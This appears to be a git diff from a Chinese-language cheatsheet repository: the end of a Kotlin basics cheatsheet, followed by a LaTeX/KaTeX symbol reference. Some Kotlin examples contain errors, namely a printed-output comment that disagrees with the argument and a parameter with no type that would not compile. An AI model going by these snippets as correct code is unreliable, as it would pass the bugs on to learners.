// Prints: {United States=Washington D.C., Germany=Berlin, Mexico=Mexico City, France=Paris, Brazil=Brasilia}
worldCapitals.remove("Germany")
println(worldCapitals)
// Prints: {United States=Washington D.C., Mexico=Mexico City, France=Paris, Brazil=Brasilia}
```
<!--rehype:className=wrap-text-->
函数
---
### 函数
```kotlin
fun greet() {
println("Hey there!")
}
fun main() {
// Function call
greet() // Prints: Hey there!
}
```
### 函数参数
```kotlin
fun birthday(name: String, age: Int) {
println("Happy birthday $name! You turn $age today!")
}
fun main() {
birthday("Oscar", 26)
// Prints: Happy birthday Oscar! You turn 25 today!
birthday("Amarah", 30)
// Prints: Happy birthday Amarah! You turn 30 today!
}
```
<!--rehype:className=wrap-text-->
### 默认参数
```kotlin
fun favoriteLanguage(name, language = "Kotlin") {
println("Hello, $name. Your favorite programming language is $language")
}
fun main() {
favoriteLanguage("Manon")
// Prints: Hello, Manon. Your favorite programming language is Kotlin
favoriteLanguage("Lee", "Java")
// Prints: Hello, Lee. Your favorite programming language is Java
}
```
<!--rehype:className=wrap-text-->
### 命名参数
```kotlin
fun findMyAge(currentYear: Int, birthYear: Int) {
var myAge = currentYear - birthYear
println("I am $myAge years old.")
}
fun main() {
findMyAge(currentYear = 2020, birthYear = 1995)
// Prints: I am 25 years old.
findMyAge(birthYear = 1920, currentYear = 2020)
// Prints: I am 100 years old.
}
```
<!--rehype:className=wrap-text-->
### 返回声明
```kotlin
// Return type is declared outside the parentheses
fun getArea(length: Int, width: Int): Int {
var area = length * width
// return statement
return area
}
fun main() {
var myArea = getArea(10, 8)
println("The area is $myArea.")
// Prints: The area is 80.
}
```
<!--rehype:className=wrap-text-->
### 单表达式函数
```kotlin
fun fullName(firstName: String, lastName: String) = "$firstName $lastName"
fun main() {
println(fullName("Ariana", "Ortega"))
// Prints: Ariana Ortega
println(fullName("Kai", "Gittens"))
// Prints: Kai Gittens
}
```
<!--rehype:className=wrap-text-->
### 函数字面量
```kotlin
fun main() {
// Anonymous Function:
var getProduct = fun(num1: Int, num2: Int): Int {
return num1 * num2
}
println(getProduct(8, 3))
// Prints: 24
// Lambda Expression
var getDifference = { num1: Int, num2: Int -> num1 - num2 }
println(getDifference(10, 3))
// Prints: 7
}
```
<!--rehype:className=wrap-text-->
---
### 类示例
```kotlin
// 具有包含默认值的属性的类
class Student {
var name = "Lucia"
var semester = "Fall"
var gpa = 3.95
}
// 没有类体的简写语法
class Student
```
### 类实例
```kotlin
// Class
class Student {
var name = "Lucia"
var semester = "Fall"
var gpa = 3.95
}
fun main() {
var student = Student()
// Instance
println(student.name)
// Prints: Lucia
println(student.semester)
// Prints: Fall
println(student.gpa)
// Prints: 3.95
}
```
### 主构造函数
```kotlin
class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int)
fun main() {
var student = Student("Lucia", 3.95, "Fall", 2022)
println(student.name)
// Prints: Lucia
println(student.gpa)
// Prints: 3.95
println(student.semester)
// Prints: Fall
println(student.estimatedGraduationYear)
// Prints: 2022
}
```
<!--rehype:className=wrap-text-->
### 初始化块
```kotlin
class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) {
init {
println("$name has ${estimatedGraduationYear - 2020} years left in college.")
}
}
fun main() {
var student = Student("Lucia", 3.95, "Fall", 2022)
// Prints: Lucia has 2 years left in college.
}
```
<!--rehype:className=wrap-text-->
### 成员函数
<!--rehype:wrap-class=col-span-2-->
```kotlin
class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) {
init {
println("$name has ${estimatedGraduationYear - 2020} years left in college.")
}
// 成员函数
fun calculateLetterGrade(): String {
return when {
gpa >= 3.0 -> "A"
gpa >= 2.7 -> "B"
gpa >= 1.7 -> "C"
gpa >= 1.0 -> "D"
else -> "E"
}
}
}
// 创建实例并调用函数时,将执行 when 表达式并返回字母等级
fun main() {
var student = Student("Lucia", 3.95, "Fall", 2022)
// Prints: Lucia has 2 years left in college.
println("${student.name}'s letter grade is ${student.calculateLetterGrade()}.")
// Prints: Lucia's letter grade is A.
}
```
<!--rehype:className=wrap-text-->
另见
---
- [Kotlin 语言官方文档](https://kotlinlang.org/) _(kotlinlang.org)_

1838
docs/laravel.md Normal file

File diff suppressed because it is too large Load Diff

910
docs/latex.md Normal file
View File

@ -0,0 +1,910 @@
LaTeX 备忘清单
===
本备忘单总结了 [LaTeX](https://www.latex-project.org/) 常用显示数学符号的参考列表和一些 [KaTeX](https://katex.org/) 的应用示例。
入门
---
### 介绍
[LaTeX](https://www.latex-project.org/) 基于 TEX 的排版系统,适用于生成高印刷质量的科技和数学、物理文档。
- [LaTeX 官网](https://www.latex-project.org/) _(latex-project.org)_
- [KaTeX 官网](https://katex.org/) _(katex.org)_
而 [KaTeX](https://katex.org/) 只处理 LaTeX 的数学符号的一个更小的子集,用于 web 上展示
### 示例
```KaTeX
% \f is defined as #1f(#2) using the macro
f\relax(x) = \int_{-\infty}^\infty
f\hat\xi\,e^{2 \pi i \xi x}
\,d\xi
```
---
```LaTeX
% \f is defined as #1f(#2) using the macro
f\relax(x) = \int_{-\infty}^\infty
f\hat\xi\,e^{2 \pi i \xi x}
\,d\xi
```
### 行内展示
```markdown
基于 KaTeX 在一行
展示示例: `KaTeX:\int_0^\infty x^2 dx`
```
基于 KaTeX 在一行展示示例: `KaTeX:\int_0^\infty x^2 dx`
Supported Functions
---
### Accents
<!--rehype:wrap-class=col-span-2 row-span-2-->
:- | :- | :-
:- | :- | :-
`KaTeX:a'` <pur>`a'`</pur> | `KaTeX:\tilde{a}` <pur>`\tilde{a}`</pur> | `KaTeX:\mathring{g}` <pur>`\mathring{g}`</pur>
`KaTeX:a''` <pur>`a''`</pur> | `KaTeX:\widetilde{ac}` <pur>`\widetilde{ac}`</pur> | `KaTeX:\overgroup{AB}` <pur>`\overgroup{AB}`</pur>
`KaTeX:a^{\prime}` <pur>`a^{\prime}`</pur> | `KaTeX:\utilde{AB}` <pur>`\utilde{AB}`</pur> | `KaTeX:\undergroup{AB}` <pur>`\undergroup{AB}`</pur>
`KaTeX:\acute{a}` <pur>`\acute{a}`</pur> | `KaTeX:\vec{F}` <pur>`\vec{F}`</pur> | `KaTeX:\Overrightarrow{AB}` <pur>`\Overrightarrow{AB}`</pur>
`KaTeX:\bar{y}` <pur>`\bar{y}`</pur> | `KaTeX:\overleftarrow{AB}` <pur>`\overleftarrow{AB}`</pur> | `KaTeX:\overrightarrow{AB}` <pur>`\overrightarrow{AB}`</pur>
`KaTeX:\breve{a}` <pur>`\breve{a}`</pur> | `KaTeX:\underleftarrow{AB}` <pur>`\underleftarrow{AB}`</pur> | `KaTeX:\underrightarrow{AB}` <pur>`\underrightarrow{AB}`</pur>
`KaTeX:\check{a}` <pur>`\check{a}`</pur> | `KaTeX:\overleftharpoon{ac}` <pur>`\overleftharpoon{ac}`</pur> | `KaTeX:\overrightharpoon{ac}` <pur>`\overrightharpoon{ac}`</pur>
`KaTeX:\dot{a}` <pur>`\dot{a}`</pur> | `KaTeX:\overleftrightarrow{AB}` <pur>`\overleftrightarrow{AB}`</pur> | `KaTeX:\overbrace{AB}` <pur>`\overbrace{AB}`</pur>
`KaTeX:\ddot{a}` <pur>`\ddot{a}`</pur> | `KaTeX:\underleftrightarrow{AB}` <pur>`\underleftrightarrow{AB}`</pur> | `KaTeX:\underbrace{AB}` <pur>`\underbrace{AB}`</pur>
`KaTeX:\grave{a}` <pur>`\grave{a}`</pur> | `KaTeX:\overline{AB}` <pur>`\overline{AB}`</pur> | `KaTeX:\overlinesegment{AB}` <pur>`\overlinesegment{AB}`</pur>
`KaTeX:\hat{\theta}` <pur>`\hat{\theta}`</pur> | `KaTeX:\underline{AB}` <pur>`\underline{AB}`</pur> | `KaTeX:\underlinesegment{AB}` <pur>`\underlinesegment{AB}`</pur>
`KaTeX:\widehat{ac}` <pur>`\widehat{ac}`</pur> | `KaTeX:\widecheck{ac}` <pur>`\widecheck{ac}`</pur> | `KaTeX:\underbar{X}` <pur>`\underbar{X}`</pur>
### \text中的强调功能
:- | :- | :-
:- | :- | :-
`KaTeX:\'{a}` <pur>`\'{a}`</pur> | `KaTeX:\~{a}` <pur>`\~{a}`</pur> |
`KaTeX:\.{a}` <pur>`\.{a}`</pur> | `KaTeX:\H{a}` <pur>`\H{a}`</pur> |
``KaTeX:\\\`{a}`` <pur><code>\\&#96;{a}</code></pur> | `KaTeX:\={a}` <pur>`\={a}`</pur> |
`KaTeX:\"{a}` <pur>`\"{a}`</pur> | `KaTeX:\v{a}` <pur>`\v{a}`</pur> |
`KaTeX:\^{a}` <pur>`\^{a}`</pur> | `KaTeX:\u{a}` <pur>`\u{a}`</pur> |
`KaTeX:\r{a}` <pur>`\r{a}`</pur> |
### Delimiter Sizing
:- | :-
:- | :-
`KaTeX:\left(\LARGE{AB}\right)` | <pur>`\left(\LARGE{AB}\right)`</pur>
`KaTeX:( \big( \Big( \bigg( \Bigg(`| <pur>`( \big( \Big( \bigg( \Bigg(`</pur>
---
:- | :- | :- | :- | :-
:- | :- | :- | :- | :-
`\left` | `\big` | `\bigl` | `\bigm` | `\bigr`
`\middle` | `\Big` | `\Bigl` | `\Bigm` | `\Bigr`
`\right` | `\bigg` | `\biggl` | `\biggm` | `\biggr`
`\` | `\Bigg` | `\Biggl` | `\Biggm` | `\Biggr`
### 希腊和希伯来字母 Greek and Hebrew letters
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法 | 预览 | 方法 | 预览 | 方法
:- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :-
| `KaTex:\alpha` | <pur>`\alpha`</pur> | `KaTex:\kappa` | <pur>`\kappa`</pur> | `KaTex:\psi` | <pur>`\psi`</pur> | `KaTex:\digamma` | <pur>`\digamma`</pur> | `KaTex:\Delta` | <pur>`\Delta`</pur> | `KaTex:\Theta` | <pur>`\Theta`</pur> |
| `KaTex:\beta` | <pur>`\beta`</pur> | `KaTex:\lambda` | <pur>`\lambda`</pur> | `KaTex:\rho` | <pur>`\rho`</pur> | `KaTex:\varepsilon` | <pur>`\varepsilon`</pur> | `KaTex:\Gamma` | <pur>`\Gamma`</pur> | `KaTex:\Upsilon` | <pur>`\Upsilon`</pur> |
| `KaTex:\chi` | <pur>`\chi`</pur> | `KaTex:\mu` | <pur>`\mu`</pur> | `KaTex:\sigma` | <pur>`\sigma`</pur> | `KaTex:\varkappa` | <pur>`\varkappa`</pur> | `KaTex:\Lambda` | <pur>`\Lambda`</pur> | `KaTex:\Xi` | <pur>`\Xi`</pur> |
| `KaTex:\delta` | <pur>`\delta`</pur> | `KaTex:\nu` | <pur>`\nu`</pur> | `KaTex:\tau` | <pur>`\tau`</pur> | `KaTex:\varphi` | <pur>`\varphi`</pur> | `KaTex:\Omega` | <pur>`\Omega`</pur> | |
| `KaTex:\epsilon` | <pur>`\epsilon`</pur> | `KaTex:o` | <pur>`o`</pur> | `KaTex:\theta` | <pur>`\theta`</pur> | `KaTex:\varpi` | <pur>`\varpi`</pur> | `KaTex:\Phi` | <pur>`\Phi`</pur> | `KaTex:\aleph` | <pur>`\aleph`</pur> |
| `KaTex:\eta` | <pur>`\eta`</pur> | `KaTex:\omega` | <pur>`\omega`</pur> | `KaTex:\upsilon` | <pur>`\upsilon`</pur> | `KaTex:\varrho` | <pur>`\varrho`</pur> | `KaTex:\Pi` | <pur>`\Pi`</pur> | `KaTex:\beth` | <pur>`\beth`</pur> |
| `KaTex:\gamma` | <pur>`\gamma`</pur> | `KaTex:\phi` | <pur>`\phi`</pur> | `KaTex:\xi` | <pur>`\xi`</pur> | `KaTex:\varsigma` | <pur>`\varsigma`</pur> | `KaTex:\Psi` | <pur>`\Psi`</pur> | `KaTex:\daleth` | <pur>`\daleth`</pur> |
| `KaTex:\iota` | <pur>`\iota`</pur> | `KaTex:\pi` | <pur>`\pi`</pur> | `KaTex:\zeta` | <pur>`\zeta`</pur> | `KaTex:\vartheta` | <pur>`\vartheta`</pur> | `KaTex:\Sigma` | <pur>`\Sigma`</pur> | `KaTex:\gimel` | <pur>`\gimel`</pur> |
<!--rehype:className=left-align-->
其它字母
:- | :- | :- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :- | :- | :-
`KaTex:\imath` | <pur>`\imath`</pur> | `KaTex:\nabla` | <pur>`\nabla`</pur> | `KaTex:\Im` | <pur>`\Im`</pur> | `KaTex:\Reals` | <pur>`\Reals`</pur> | `KaTex:\text{\OE}` | <pur>`\text{\OE}`</pur> |
`KaTex:\jmath` | <pur>`\jmath`</pur> | `KaTex:\partial` | <pur>`\partial`</pur> | `KaTex:\image` | <pur>`\image`</pur> | `KaTex:\wp` | <pur>`\wp`</pur> | `KaTex:\text{\o}` | <pur>`\text{\o}`</pur> |
`KaTex:\aleph` | <pur>`\aleph`</pur> | `KaTex:\Game` | <pur>`\Game`</pur> | `KaTex:\Bbbk` | <pur>`\Bbbk`</pur> | `KaTex:\weierp` | <pur>`\weierp`</pur> | `KaTex:\text{\O}` | <pur>`\text{\O}`</pur> |
`KaTex:\alef` | <pur>`\alef`</pur> | `KaTex:\Finv` | <pur>`\Finv`</pur> | `KaTex:\N` | <pur>`\N`</pur> | `KaTex:\Z` | <pur>`\Z`</pur> | `KaTex:\text{\ss}` | <pur>`\text{\ss}`</pur> |
`KaTex:\alefsym` | <pur>`\alefsym`</pur> | `KaTex:\cnums` | <pur>`\cnums`</pur> | `KaTex:\natnums` | <pur>`\natnums`</pur> | `KaTex:\text{\aa}` | <pur>`\text{\aa}`</pur> | `KaTex:\text{\i}` | <pur>`\text{\i}`</pur> |
`KaTex:\beth` | <pur>`\beth`</pur> | `KaTex:\Complex` | <pur>`\Complex`</pur> | `KaTex:\R` | <pur>`\R`</pur> | `KaTex:\text{\AA}` | <pur>`\text{\AA}`</pur> | `KaTex:\text{\j}` | <pur>`\text{\j}`</pur> |
`KaTex:\gimel` | <pur>`\gimel`</pur> | `KaTex:\ell` | <pur>`\ell`</pur> | `KaTex:\Re` | <pur>`\Re`</pur> | `KaTex:\text{\ae}` | <pur>`\text{\ae}`</pur> |
`KaTex:\daleth` | <pur>`\daleth`</pur> | `KaTex:\hbar` | <pur>`\hbar`</pur> | `KaTex:\real` | <pur>`\real`</pur> | `KaTex:\text{\AE}` | <pur>`\text{\AE}`</pur> |
`KaTex:\eth` | <pur>`\eth`</pur> | `KaTex:\hslash` | <pur>`\hslash`</pur> | `KaTex:\reals` | <pur>`\reals`</pur> | `KaTex:\text{\oe}` | <pur>`\text{\oe}`</pur> |
<!--rehype:className=left-align-->
### 字母和 Unicode
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览 | 方法
:- | :- | :- | :- | :- | :- | :- | :-
`KaTex:\Alpha` | <pur>`\Alpha`</pur> | `KaTex:\Beta` | <pur>`\Beta`</pur> | `KaTex:\Gamma` | <pur>`\Gamma`</pur> | `KaTex:\Delta` | <pur>`\Delta`</pur>
`KaTex:\Epsilon` | <pur>`\Epsilon`</pur> | `KaTex:\Zeta` | <pur>`\Zeta`</pur> | `KaTex:\Eta` | <pur>`\Eta`</pur> | `KaTex:\Theta` | <pur>`\Theta`</pur>
`KaTex:\Iota` | <pur>`\Iota`</pur> | `KaTex:\Kappa` | <pur>`\Kappa`</pur> | `KaTex:\Lambda` | <pur>`\Lambda`</pur> | `KaTex:\Mu` | <pur>`\Mu`</pur>
`KaTex:\Nu` | <pur>`\Nu`</pur> | `KaTex:\Xi` | <pur>`\Xi`</pur> | `KaTex:\Omicron` | <pur>`\Omicron`</pur> | `KaTex:\Pi` | <pur>`\Pi`</pur>
`KaTex:\Rho` | <pur>`\Rho`</pur> | `KaTex:\Sigma` | <pur>`\Sigma`</pur> | `KaTex:\Tau` | <pur>`\Tau`</pur> | `KaTex:\Upsilon` | <pur>`\Upsilon`</pur>
`KaTex:\Phi` | <pur>`\Phi`</pur> | `KaTex:\Chi` | <pur>`\Chi`</pur> | `KaTex:\Psi` | <pur>`\Psi`</pur> | `KaTex:\Omega` | <pur>`\Omega`</pur>
`KaTex:\varGamma` | <pur>`\varGamma`</pur> | `KaTex:\varDelta` | <pur>`\varDelta`</pur> | `KaTex:\varTheta` | <pur>`\varTheta`</pur> | `KaTex:\varLambda` | <pur>`\varLambda`</pur>
`KaTex:\varXi` | <pur>`\varXi`</pur> | `KaTex:\varPi` | <pur>`\varPi`</pur> | `KaTex:\varSigma` | <pur>`\varSigma`</pur> | `KaTex:\varUpsilon` | <pur>`\varUpsilon`</pur>
`KaTex:\varPhi` | <pur>`\varPhi`</pur> | `KaTex:\varPsi` | <pur>`\varPsi`</pur> | `KaTex:\varOmega` | <pur>`\varOmega`</pur> |
`KaTex:\alpha` | <pur>`\alpha`</pur> | `KaTex:\beta` | <pur>`\beta`</pur> | `KaTex:\gamma` | <pur>`\gamma`</pur> | `KaTex:\delta` | <pur>`\delta`</pur>
`KaTex:\epsilon` | <pur>`\epsilon`</pur> | `KaTex:\zeta` | <pur>`\zeta`</pur> | `KaTex:\eta` | <pur>`\eta`</pur> | `KaTex:\theta` | <pur>`\theta`</pur>
`KaTex:\iota` | <pur>`\iota`</pur> | `KaTex:\kappa` | <pur>`\kappa`</pur> | `KaTex:\lambda` | <pur>`\lambda`</pur> | `KaTex:\mu` | <pur>`\mu`</pur>
`KaTex:\nu` | <pur>`\nu`</pur> | `KaTex:\xi` | <pur>`\xi`</pur> | `KaTex:\omicron` | <pur>`\omicron`</pur> | `KaTex:\pi` | <pur>`\pi`</pur>
`KaTex:\rho` | <pur>`\rho`</pur> | `KaTex:\sigma` | <pur>`\sigma`</pur> | `KaTex:\tau` | <pur>`\tau`</pur> | `KaTex:\upsilon` | <pur>`\upsilon`</pur>
`KaTex:\phi` | <pur>`\phi`</pur> | `KaTex:\chi` | <pur>`\chi`</pur> | `KaTex:\psi` | <pur>`\psi`</pur> | `KaTex:\omega` | <pur>`\omega`</pur>
`KaTex:\varepsilon` | <pur>`\varepsilon`</pur> | `KaTex:\varkappa` | <pur>`\varkappa`</pur> | `KaTex:\vartheta` | <pur>`\vartheta`</pur> | `KaTex:\thetasym` | <pur>`\thetasym`</pur>
`KaTex:\varpi` | <pur>`\varpi`</pur> | `KaTex:\varrho` | <pur>`\varrho`</pur> | `KaTex:\varsigma` | <pur>`\varsigma`</pur> | `KaTex:\varphi` | <pur>`\varphi`</pur>
`KaTex:\digamma` | <pur>`\digamma`</pur>
<!--rehype:className=show-header left-align-->
### 注解
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :-
:- | :- | :- | :- | :-
`KaTex:\cancel{5}` | <pur>`\cancel{5}`</pur> | `KaTex:\overbrace{a+b+c}^{\text{note}}` | <pur>`\overbrace{a+b+c}^{\text{note}}`</pur>
`KaTex:\bcancel{5}` | <pur>`\bcancel{5}`</pur> | `KaTex:\underbrace{a+b+c}_{\text{note}}` | <pur>`\underbrace{a+b+c}_{\text{note}}`</pur>
`KaTex:\xcancel{ABC}` | <pur>`\xcancel{ABC}`</pur> | `KaTex:\not =` | <pur>`\not =`</pur>
`KaTex:\sout{abc}` | <pur>`\sout{abc}`</pur> | `KaTex:\boxed{\pi=\frac c d}` | <pur>`\boxed{\pi=\frac c d}`</pur>
`KaTex:\$a_{\angl n}` _<red>MD语法冲突</red>_ | <pur>`$a_{\angl n}`</pur> | `KaTex:a_\angln` | <pur>`a_\angln`</pur>
`KaTex:\phase{-78^\circ}` | <pur>`\phase{-78^\circ}`</pur>
<pur>\tag{hi} x+y^{2x}</pur>
```KaTex
\tag{hi} x+y^{2x}
```
<pur>\tag*{hi} x+y^{2x}</pur>
```KaTex
\tag*{hi} x+y^{2x}
```
### 垂直布局
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :-
`KaTex:x_n` | <pur>`x_n`</pur> | `KaTex:\stackrel{!}{=}` | <pur>`\stackrel{!}{=}`</pur> | `KaTex:a \atop b` | `a \atop b`
`KaTex:e^x` | <pur>`e^x`</pur> | `KaTex:\overset{!}{=}` | <pur>`\overset{!}{=}`</pur> | `KaTex:a\raisebox{0.25em}{$b$}c` | `a\raisebox{0.25em}{$b$}c`
`KaTex:_u^o` | <pur>`_u^o`</pur> | `KaTex:\underset{!}{=}` | <pur>`\underset{!}{=}`</pur> | `KaTex:a+\left(\vcenter{\hbox{$\frac{\frac a b}c$}}\right)` | `a+\left(\vcenter{\hbox{$\frac{\frac a b}c$}}\right)`
`KaTex:\sum_{\substack{0<i<m\\0<j<n}}` | <pur>`\sum_{\substack{0<i<m\\0<j<n}}`</pur>
### 重叠和间距
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :-
:- | :- | :- | :-
`KaTex:{=}\mathllap{/\,}` <pur>{=}\mathllap{/\,}</pur> | `KaTex:\left(x^{\smash{2}}\right)` | <pur>\left(x^{\smash{2}}\right)</pur>
`KaTex:\mathrlap{\,/}{=}` <pur>\mathrlap{\,/}{=}</pur> | `KaTex:\sqrt{\smash[b]{y}}` | <pur>\sqrt{\smash[b]{y}}</pur>
`\sum_{\mathclap{1\le i\le j\le n}} x_{ij}`
```KaTex
\sum_{\mathclap{1\le i\le j\le n}} x_{ij}
```
### `KaTex:\LaTeX` math constructs
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法
:- | :- | :- | :- | :- | :-
| `KaTex:\frac{abc}{xyz}` | <pur>`\frac{abc}{xyz}`</pur> | `KaTex:\overline{abc}` | <pur>`\overline{abc}`</pur> | `KaTex:\overrightarrow{abc}` | <pur>`\overrightarrow{abc}`</pur> |
| `KaTex:f'` | <pur>`f'`</pur> | `KaTex:\underline{abc}` | <pur>`\underline{abc}`</pur> | `KaTex:\overleftarrow{abc}` | <pur>`\overleftarrow{abc}`</pur> |
| `KaTex:\sqrt{abc}` | <pur>`\sqrt{abc}`</pur> | `KaTex:\widehat{abc}` | <pur>`\widehat{abc}`</pur> | `KaTex:\overbrace{abc}` | <pur>`\overbrace{abc}`</pur> |
| `KaTex:\sqrt[n]{abc}` | <pur>`\sqrt[n]{abc}`</pur> | `KaTex:\widetilde{abc}` | <pur>`\widetilde{abc}`</pur> | `KaTex:\underbrace{abc}` | <pur>`\underbrace{abc}`</pur> |
### 分隔符 Delimiters
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法 | 预览 | 方法
:- | :- | :- | :- | :- | :- | :- | :- | :- | :-
| `KaTeX:()` | <pur>`()`</pur> | `KaTeX:\lparen \rparen` | <pur>`\lparen` `\rparen`</pur> | `KaTex:⌈ ⌉` | <pur>`⌈ ⌉`</pur> | `KaTex:\lceil \rceil` | <pur>`\lceil` `\rceil`</pur> | `KaTex:\uparrow` | <pur>`\uparrow`</pur> |
| `KaTeX:[]` | <pur>`[]`</pur> | `KaTeX:\lbrack \rbrack` | <pur>`\lbrack` `\rbrack`</pur> | `KaTex:⌊ ⌋` | <pur>`⌊ ⌋`</pur> | `KaTex:\lfloor \rfloor` | <pur>`\lfloor` `\rfloor`</pur> | `KaTex:\downarrow` | <pur>`\downarrow`</pur> |
| `KaTeX:\{ \}` | <pur>`{}`</pur> | `KaTex:\lbrace \rbrace` | <pur>`\lbrace` `\rbrace`</pur> | `KaTex:⎰⎱` | <pur>`⎰⎱`</pur> | `KaTex:\lmoustache \rmoustache` | <pur>`\lmoustache` `\rmoustache`</pur> | `KaTex:\updownarrow` | <pur>`\updownarrow`</pur> |
| `KaTeX:⟨ ⟩` | <pur>`⟨⟩`</pur> | `KaTex:\langle \rangle` | <pur>`\langle` `\rangle`</pur> | `KaTex:⟮ ⟯` | <pur>`⟮ ⟯`</pur> | `KaTex:\lgroup \rgroup` | <pur>`\lgroup` `\rgroup`</pur> | `KaTex:\Uparrow` | <pur>`\Uparrow`</pur> |
| `KaTeX:` | <pur>`\|`</pur> | `KaTex:\vert` | <pur>`\vert`</pur> | `KaTex:┌ ┐` | <pur>`┌ ┐`</pur> | `KaTex:\ulcorner \urcorner` | <pur>`\ulcorner` `\urcorner`</pur> | `KaTex:\Downarrow` | <pur>`\Downarrow`</pur> |
| `KaTeX:\|` _(<red>MD语法冲突</red>)_ | <pur><code>\\&#124;</code></pur> | `KaTex:\Vert` | <pur>`\Vert`</pur> | `KaTex:└ ┘` | <pur>`└ ┘`</pur> | `KaTex:\llcorner \lrcorner` | <pur>`\llcorner` `\lrcorner`</pur> | `KaTex:\Updownarrow` | <pur>`\Updownarrow`</pur> |
| `KaTeX: ` | <pur>`\lvert` `\rvert`</pur> | `KaTex:\lVert \rVert` | <pur>`\lVert` `\rVert`</pur> | | <pur>`\left.`</pur> | | <pur>`\right.`</pur> | `KaTex:\backslash` | <pur>`\backslash`</pur> |
| `KaTeX:\lang` `KaTeX:\rang` | <pur>`\lang` `\rang`<pur> | `KaTeX:\lt \gt` | <pur>`\lt \gt`</pur> | `KaTex:⟦ ⟧` | <pur>`⟦ ⟧`</pur> | `KaTex:\llbracket \rrbracket` | <pur>`\llbracket` `\rrbracket`</pur> | `KaTex:\lBrace \rBrace` | <pur>`\lBrace \rBrace`</pur> |
<!--rehype:className=show-header left-align-->
可以使用一对表达式 `\left` `KaTeX:s_1``\right` `KaTeX:s_2` 来将分隔符 `KaTeX:s_1``KaTeX:s_2` 的高度与其内容的高度进行匹配,例如:
:- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :-
| `KaTeX:\left\|` | `KaTeX:expr` | `KaTeX:\right\|` | | `KaTeX:\left\{` |`KaTeX:expr` | `KaTeX:\right\}` | | `KaTeX:\left\Vert`| `KaTeX:expr` | `KaTeX:\right.` |
### 可变大小的符号
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法 | 预览 | 方法
:- | :- | :- | :- | :- | :- | :- | :- | :- | :-
| `KaTeX:\sum` | <pur>`\sum`</pur> | `KaTeX:\int` | <pur>`\int`</pur> | `KaTeX:\biguplus` | <pur>`\biguplus`</pur> | `KaTeX:\bigoplus` | <pur>`\bigoplus`</pur> | `KaTeX:\bigvee` | <pur>`\bigvee`</pur> |
| `KaTeX:\prod` | <pur>`\prod`</pur> | `KaTeX:\oint` | <pur>`\oint`</pur> | `KaTeX:\bigcap` | <pur>`\bigcap`</pur> | `KaTeX:\bigotimes` | <pur>`\bigotimes`</pur> | `KaTeX:\bigwedge` | <pur>`\bigwedge`</pur> |
| `KaTeX:\coprod` | <pur>`\coprod`</pur> | `KaTeX:\iint` | <pur>`\iint`</pur> | `KaTeX:\bigcup` | <pur>`\bigcup`</pur> | `KaTeX:\bigodot` | <pur>`\bigodot`</pur> | `KaTeX:\bigodot` | <pur>`\bigodot`</pur> |
<!--rehype:className=show-header left-align-->
### 标准函数名称
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法
:- | :- | :- | :- | :- | :- | :- | :-
| `KaTeX:\arccos` | <pur>`\arccos`</pur> | `KaTeX:\arcsin` | <pur>`\arcsin`</pur> | `KaTeX:\arcsin` | <pur>`\arcsin`</pur> | `KaTeX:\arg` | <pur>`\arg`</pur> |
| `KaTeX:\cos` | <pur>`\cos`</pur> | `KaTeX:\cosh` | <pur>`\cosh`</pur> | `KaTeX:\cot` | <pur>`\cot`</pur> | `KaTeX:\coth` | <pur>`\coth`</pur> |
| `KaTeX:\csc` | <pur>`\csc`</pur> | `KaTeX:\deg` | <pur>`\deg`</pur> | `KaTeX:\det` | <pur>`\det`</pur> | `KaTeX:\dim` | <pur>`\dim`</pur> |
| `KaTeX:\exp` | <pur>`\exp`</pur> | `KaTeX:\gcd` | <pur>`\gcd`</pur> | `KaTeX:\hom` | <pur>`\hom`</pur> | `KaTeX:\inf` | <pur>`\inf`</pur> |
| `KaTeX:\ker` | <pur>`\ker`</pur> | `KaTeX:\lg` | <pur>`\lg`</pur> | `KaTeX:\lim` | <pur>`\lim`</pur> | `KaTeX:\liminf` | <pur>`\liminf`</pur> |
| `KaTeX:\limsup` | <pur>`\limsup`</pur> | `KaTeX:\ln` | <pur>`\ln`</pur> | `KaTeX:\log` | <pur>`\log`</pur> | `KaTeX:\max` | <pur>`\max`</pur> |
| `KaTeX:\min` | <pur>`\min`</pur> | `KaTeX:\Pr` | <pur>`\Pr`</pur> | `KaTeX:\sec` | <pur>`\sec`</pur> | `KaTeX:\sin` | <pur>`\sin`</pur> |
| `KaTeX:\sinh` | <pur>`\sinh`</pur> | `KaTeX:\sup` | <pur>`\sup`</pur> | `KaTeX:\tan` | <pur>`\tan`</pur> | `KaTeX:\tanh` | <pur>`\tanh`</pur> |
<!--rehype:className=show-header left-align-->
函数名应该用罗马字体,而不是斜体,例如:
:- | :- | :- | :-
:- | :- | :- | :-
| Correct: | <pur>`\tan(at-n\pi)`</pur> | `KaTeX:\rightarrow` | `KaTeX:\tan(at-n\pi)`|
| Incorrect: | <pur>`tan(at-n\pi)`</pur> | `katex:\rightarrow` | `KaTeX:tan(at-n\pi)` |
<!--rehype:className=left-align-->
### 逻辑与集合论
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :-
`KaTeX:\forall` | <pur>`\forall`</pur> | `KaTeX:\complement` | <pur>`\complement`</pur> | `KaTeX:\therefore` | <pur>`\therefore`</pur> | `KaTeX:\emptyset` | <pur>`\emptyset`</pur>
